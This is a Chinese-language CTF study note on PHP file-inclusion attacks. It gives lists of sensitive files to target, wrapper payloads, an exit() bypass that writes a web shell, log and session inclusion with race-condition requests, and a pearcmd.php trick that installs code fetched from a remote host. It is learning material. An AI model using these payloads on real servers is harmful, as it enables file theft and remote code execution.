文件包含漏洞

文件包含漏洞

[TOC]

敏感文件总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Linux:
/proc/self/cmdline //当前进程
/proc/self/environ //环境变量
/proc/self/cwd符号链接指向当前进程的工作目录
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.conf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置

Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root密码
C:\Windows\php.ini //php配置信息

php相关漏洞

Wrapper机制

PHP 提供的文件打开方式不仅仅是简单的文件路径,而是通过文件流的方式进行操作。这些文件流可以被看作是一种特殊的协议,即 Wrapper 协议(PHP中有很多功能不同但形式相似的协议,统称为Wrapper)。

依赖:
allow_url_fopen:On;
allow_url_include:On;
PHP_Version>=5.2.0

file协议

include函数默认使用file协议,且前置了绝对路径,

1
include("filename") <=> include("file://" . __DIR__ . "/filename"); 

若文本符合php语法,则会被执行。

data协议

1
2
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

http协议

?file=http://127.0.0.1/flag.php

php协议

php://filter:数据过滤与转换

基本格式: php://filter/read=convert.base64-encode/resource=[文件路径]

部分其他过滤器:

convert.base64-decode base64解密
string.rot13 rot13变换
string.toupper 转大写字母
string.tolower 转小写字母
string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)

若过滤器均被WAF,可尝试URL二次编码绕过。

php://input:执行 PHP 代码

php://input的请求的参数格式是原生(Raw)的内容,不然无响应。

image-20250802214747037

文件系统函数 file_get_contents()

file_put_contents()

应用:绕过死亡exit()

参考:

谈一谈php://filter的妙用 | 离别歌

php死亡exit()绕过 - xiaolong’s blog

虽然大佬们都写得很好了,但我还是跟其他大佬学习,再自己敲一遍加深印象。

第一种情况:

file_put_contents($filename,"<?php exit();".$content);

payload:

1
2
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+

原理:

​ 要讲清楚这个得先了解base64-decode的过程,base64在解密的时候只会识别a-z0-9A-Z+/ 这64个可打印字符,其余的会忽略。比如例子中<?php exit();其实就只有phpexit七个字符起作用,但base64解码是4个字符为一组,所以我们可以在后面添一个a使得exit最后能被正常解码从而绕过。

​ 于是content=a + PD9waHAgcGhwaW5mbygpOz8+ ,前者用于补足,后半部分是要执行的代码正常编码。最终写入效果如下(图截取的xiaolong师傅博客中的):
image-20250803223113323

第二种情况

file_put_contents($content,"<?php exit();".$content);

rot13

content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php

base64

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php

若rot等关键词被过滤,可进行URL二次编码绕过.

LFI日志文件包含

通过UA注入

nginx

/var/log/nginx/access.log

apache

/var/log/apache2/access.log

LFI_Session文件

默认路径

1
2
3
/var/lib/php/sessions/sess_PHPSESSID 
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

PHPSESSID的部分可以在发送的请求包的Cookie中查看。

会话处理
1
2
3
4
两种方式:
session.serialize_handler = php 一直都在(默认方式) 它是用 |分割 半序列化存储

session.serialize_handler = php_serialize php5.5之后启用 它是用serialize反序列化格式分割 完全序列化存储

需要条件竞争,

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<form action="http://ed5a888e-8a6b-4e9f-9f47-0d3922ca327d.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

再开一个爆破用于访问注入页面。

例题(helloCTF文件包含靶场level15):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST / HTTP/1.1
Host: 80-a5bd69c2-4da1-4f76-96dc-95354504650f.challenge.ctfplus.cn
Content-Length: 320
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVuNlu7ztwIR9UWYt
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=flag

------WebKitFormBoundaryVuNlu7ztwIR9UWYt
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system("cat /flag");?>
------WebKitFormBoundaryVuNlu7ztwIR9UWYt
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryVuNlu7ztwIR9UWYt--

1
2
3
4
5
6
7
8
9
10
11
12
GET /?file=/var/lib/sessions/sess_flag HTTP/1.1
Host: 80-a5bd69c2-4da1-4f76-96dc-95354504650f.challenge.ctfplus.cn
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=719a6826f094c0684b1be8daead9cbb0
Connection: keep-alive


用这两个请求包条件竞争,从而读取到flag:

image-20250803151037994

LFI 绕过 Session 包含限制 Getshell-安全KER - 安全资讯平台

require/include_once 绕过

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

pearcmd.php的妙用

前提:register_argc_argv = On

1
2
3
4
5
6
7
8
9
10
11
12
出网:
http://80-75358d89-4e87-4ab7-a7a7-28f0b1348f7f.challenge.ctfplus.cn//levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+http://vps/info.php

--installroot=/var/www/html 可以写成 -R /var/www/html



上面是出网时的payload,不出网时:


/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

参考p神的文章:Docker PHP裸文件本地包含综述 | 离别歌

w1740204622856

(无聊插入的图片)